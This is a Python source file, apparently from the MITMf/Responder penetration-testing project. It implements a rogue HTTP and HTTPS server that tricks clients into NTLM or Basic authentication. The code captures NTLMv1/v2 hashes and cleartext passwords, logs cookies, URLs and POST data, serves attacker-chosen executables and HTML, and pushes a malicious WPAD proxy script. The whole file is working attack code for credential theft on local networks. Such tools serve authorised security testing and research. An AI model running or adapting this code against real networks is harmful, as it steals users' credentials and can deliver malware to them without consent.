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https://github.com/byt3bl33d3r/MITMf.git
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327 lines
10 KiB
Python
327 lines
10 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder
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# Original work by Laurent Gaffie - Trustwave Holdings
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#
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import os
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import struct
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import core.responder.settings as settings
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import threading
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from traceback import print_exc
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from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
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from base64 import b64decode, b64encode
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from core.responder.utils import *
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from core.logger import logger
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from core.responder.packets import NTLM_Challenge
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from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
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from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile
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formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
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log = logger().setup_logger("HTTP", formatter)
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class HTTP:
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def start(self):
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try:
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if OsInterfaceIsSupported():
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server = ThreadingTCPServer((settings.Config.Bind_To, 80), HTTP1)
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else:
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server = ThreadingTCPServer(('', 80), HTTP1)
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t = threading.Thread(name='SMB', target=server.serve_forever)
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t.setDaemon(True)
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t.start()
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except Exception as e:
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print "Error starting HTTP server: {}".format(e)
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print_exc()
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class ThreadingTCPServer(ThreadingMixIn, TCPServer):
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allow_reuse_address = 1
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def server_bind(self):
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if OsInterfaceIsSupported():
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try:
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self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
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except:
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pass
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TCPServer.server_bind(self)
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# Parse NTLMv1/v2 hash.
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def ParseHTTPHash(data, client):
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LMhashLen = struct.unpack('<H',data[12:14])[0]
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LMhashOffset = struct.unpack('<H',data[16:18])[0]
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LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[20:22])[0]
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NthashOffset = struct.unpack('<H',data[24:26])[0]
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NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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UserLen = struct.unpack('<H',data[36:38])[0]
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UserOffset = struct.unpack('<H',data[40:42])[0]
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User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
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if NthashLen == 24:
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HostNameLen = struct.unpack('<H',data[46:48])[0]
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HostNameOffset = struct.unpack('<H',data[48:50])[0]
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HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
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SaveToDb({
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'module': 'HTTP',
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'type': 'NTLMv1',
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'client': client,
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'host': HostName,
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'user': User,
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'hash': LMHash+":"+NTHash,
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'fullhash': WriteHash,
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})
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if NthashLen > 24:
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NthashLen = 64
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DomainLen = struct.unpack('<H',data[28:30])[0]
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DomainOffset = struct.unpack('<H',data[32:34])[0]
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Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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HostNameLen = struct.unpack('<H',data[44:46])[0]
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HostNameOffset = struct.unpack('<H',data[48:50])[0]
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HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
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SaveToDb({
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'module': 'HTTP',
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'type': 'NTLMv2',
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'client': client,
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'host': HostName,
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'user': Domain+'\\'+User,
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'hash': NTHash[:32]+":"+NTHash[32:],
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'fullhash': WriteHash,
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})
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def GrabCookie(data, host):
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Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
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if Cookie:
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Cookie = Cookie.group(0).replace('Cookie: ', '')
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if len(Cookie) > 1 and settings.Config.Verbose:
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log.info("[HTTP] Cookie : {}".format(Cookie))
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return Cookie
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else:
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return False
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def GrabHost(data, host):
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Host = re.search('(Host:*.\=*)[^\r\n]*', data)
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if Host:
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Host = Host.group(0).replace('Host: ', '')
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if settings.Config.Verbose:
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log.info("[HTTP] Host : {}".format(Host, 3))
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return Host
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else:
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return False
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def WpadCustom(data, client):
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Wpad = re.search('(/wpad.dat|/*\.pac)', data)
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if Wpad:
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Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
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Buffer.calculate()
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return str(Buffer)
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else:
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return False
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def ServeFile(Filename):
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with open (Filename, "rb") as bk:
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data = bk.read()
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bk.close()
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return data
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def RespondWithFile(client, filename, dlname=None):
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if filename.endswith('.exe'):
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Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname)
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else:
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Buffer = ServeHtmlFile(Payload = ServeFile(filename))
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Buffer.calculate()
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log.info("[HTTP] Sending file {} to {}".format(filename, client))
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return str(Buffer)
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def GrabURL(data, host):
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GET = re.findall('(?<=GET )[^HTTP]*', data)
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POST = re.findall('(?<=POST )[^HTTP]*', data)
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POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
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if GET:
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log.info("[HTTP] GET request from: {} URL: {}".format(host, ''.join(GET)))
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if POST:
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log.info("[HTTP] POST request from: {} URL: {}".format(host, ''.join(POST)))
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if len(''.join(POSTDATA)) > 2:
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log.info("[HTTP] POST Data: {}".format(''.join(POSTDATA).strip()))
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# Handle HTTP packet sequence.
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def PacketSequence(data, client):
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NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
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Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
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# Serve the .exe if needed
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if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
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return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
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# Serve the custom HTML if needed
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if settings.Config.Serve_Html == True:
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return RespondWithFile(client, settings.Config.Html_Filename)
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WPAD_Custom = WpadCustom(data, client)
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if NTLM_Auth:
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Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
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if Packet_NTLM == "\x01":
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GrabURL(data, client)
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GrabHost(data, client)
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GrabCookie(data, client)
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Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
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Buffer.calculate()
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Buffer_Ans = IIS_NTLM_Challenge_Ans()
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Buffer_Ans.calculate(str(Buffer))
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return str(Buffer_Ans)
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if Packet_NTLM == "\x03":
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NTLM_Auth = b64decode(''.join(NTLM_Auth))
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ParseHTTPHash(NTLM_Auth, client)
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if settings.Config.Force_WPAD_Auth and WPAD_Custom:
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log.info("[HTTP] WPAD (auth) file sent to %s" % client)
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return WPAD_Custom
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else:
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Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
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Buffer.calculate()
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return str(Buffer)
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elif Basic_Auth:
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ClearText_Auth = b64decode(''.join(Basic_Auth))
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GrabURL(data, client)
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GrabHost(data, client)
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GrabCookie(data, client)
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SaveToDb({
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'module': 'HTTP',
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'type': 'Basic',
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'client': client,
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'user': ClearText_Auth.split(':')[0],
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'cleartext': ClearText_Auth.split(':')[1],
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})
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if settings.Config.Force_WPAD_Auth and WPAD_Custom:
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if settings.Config.Verbose:
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log.info("[HTTP] WPAD (auth) file sent to %s" % client)
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return WPAD_Custom
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else:
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Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
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Buffer.calculate()
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return str(Buffer)
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else:
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if settings.Config.Basic == True:
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Response = IIS_Basic_401_Ans()
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if settings.Config.Verbose:
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log.info("[HTTP] Sending BASIC authentication request to %s" % client)
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else:
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Response = IIS_Auth_401_Ans()
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if settings.Config.Verbose:
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log.info("[HTTP] Sending NTLM authentication request to %s" % client)
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return str(Response)
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# HTTP Server class
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class HTTP1(BaseRequestHandler):
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def handle(self):
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try:
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while True:
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self.request.settimeout(1)
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data = self.request.recv(8092)
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GrabURL(data, self.client_address[0])
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Buffer = WpadCustom(data, self.client_address[0])
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if Buffer and settings.Config.Force_WPAD_Auth == False:
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self.request.send(Buffer)
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if settings.Config.Verbose:
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log.info("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
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else:
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Buffer = PacketSequence(data,self.client_address[0])
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self.request.send(Buffer)
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except socket.error:
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pass
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# HTTPS Server class
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class HTTPS(StreamRequestHandler):
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def setup(self):
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self.exchange = self.request
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self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
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self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
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def handle(self):
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try:
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while True:
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data = self.exchange.recv(8092)
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self.exchange.settimeout(0.5)
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Buffer = WpadCustom(data,self.client_address[0])
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if Buffer and settings.Config.Force_WPAD_Auth == False:
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self.exchange.send(Buffer)
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if settings.Config.Verbose:
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log.info("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
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else:
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Buffer = PacketSequence(data,self.client_address[0])
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self.exchange.send(Buffer)
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except:
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pass
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# SSL context handler
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class SSLSock(ThreadingMixIn, TCPServer):
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def __init__(self, server_address, RequestHandlerClass):
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from OpenSSL import SSL
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BaseServer.__init__(self, server_address, RequestHandlerClass)
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ctx = SSL.Context(SSL.SSLv3_METHOD)
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cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
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key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
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ctx.use_privatekey_file(key)
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ctx.use_certificate_file(cert)
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self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
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self.server_bind()
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self.server_activate()
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def shutdown_request(self,request):
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try:
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request.shutdown()
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except:
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pass
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